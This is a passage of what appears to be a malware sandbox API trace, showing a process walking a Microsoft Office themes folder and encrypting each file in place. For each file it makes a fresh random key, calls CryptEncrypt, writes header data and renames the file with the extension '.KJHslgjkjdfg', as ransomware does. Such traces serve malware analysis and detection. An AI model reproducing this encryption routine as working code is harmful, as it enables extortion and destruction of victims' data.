ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.535] GetProcessHeap () returned 0x2ef0000 [0171.535] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0171.535] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.535] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0171.535] GetProcessHeap () returned 0x2ef0000 [0171.535] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f3e278 [0171.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.536] GetProcessHeap () returned 0x2ef0000 [0171.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.536] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.536] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0171.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.539] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.539] GetProcessHeap () returned 0x2ef0000 [0171.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.539] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.539] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.539] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.540] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.540] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.540] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.540] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.540] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.540] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.540] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10db7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x10db7, lpOverlapped=0x0) returned 1 [0171.542] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10dc0, dwBufLen=0x10dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10dc0) returned 1 [0171.543] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.543] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x10dc0, lpOverlapped=0x0) returned 1 [0171.544] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.544] SetEndOfFile (hFile=0x114) returned 1 [0171.548] GetProcessHeap () returned 0x2ef0000 [0171.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.548] GetProcessHeap () returned 0x2ef0000 [0171.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.kjhslgjkjdfg")) returned 1 [0171.563] CloseHandle (hObject=0x114) returned 1 [0171.564] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0171.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.565] GetProcessHeap () returned 0x2ef0000 [0171.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.565] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.565] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xa, lpOverlapped=0x0) returned 1 [0171.567] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.567] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.567] GetProcessHeap () returned 0x2ef0000 [0171.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.567] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.568] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.568] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.568] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.568] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.568] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.568] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.568] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.569] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x216, lpOverlapped=0x0) returned 1 [0171.569] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220, dwBufLen=0x220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220) returned 1 [0171.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.569] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x220, lpOverlapped=0x0) returned 1 [0171.569] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.569] SetEndOfFile (hFile=0x114) returned 1 [0171.572] GetProcessHeap () returned 0x2ef0000 [0171.572] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.572] GetProcessHeap () returned 0x2ef0000 [0171.572] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.kjhslgjkjdfg")) returned 1 [0171.590] CloseHandle (hObject=0x114) returned 1 [0171.590] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.593] GetProcessHeap () returned 0x2ef0000 [0171.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.594] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.594] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.594] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0171.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.596] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.596] GetProcessHeap () returned 0x2ef0000 [0171.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.596] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.596] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.596] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.596] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.596] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.596] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.596] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.597] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.597] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.597] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.597] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x885, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x885, lpOverlapped=0x0) returned 1 [0171.597] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x890, dwBufLen=0x890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x890) returned 1 [0171.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.597] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x890, lpOverlapped=0x0) returned 1 [0171.597] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.597] SetEndOfFile (hFile=0x114) returned 1 [0171.599] GetProcessHeap () returned 0x2ef0000 [0171.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.599] GetProcessHeap () returned 0x2ef0000 [0171.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.602] CloseHandle (hObject=0x114) returned 1 [0171.602] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.603] GetProcessHeap () returned 0x2ef0000 [0171.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.603] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.603] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0171.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.605] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.605] GetProcessHeap () returned 0x2ef0000 [0171.605] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.605] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.605] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.606] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.606] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.606] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.606] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.606] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.606] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.606] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5093, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x5093, lpOverlapped=0x0) returned 1 [0171.607] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x50a0, dwBufLen=0x50a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x50a0) returned 1 [0171.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.607] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x50a0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x50a0, lpOverlapped=0x0) returned 1 [0171.608] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.608] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.608] SetEndOfFile (hFile=0x114) returned 1 [0171.610] GetProcessHeap () returned 0x2ef0000 [0171.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.610] GetProcessHeap () returned 0x2ef0000 [0171.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft 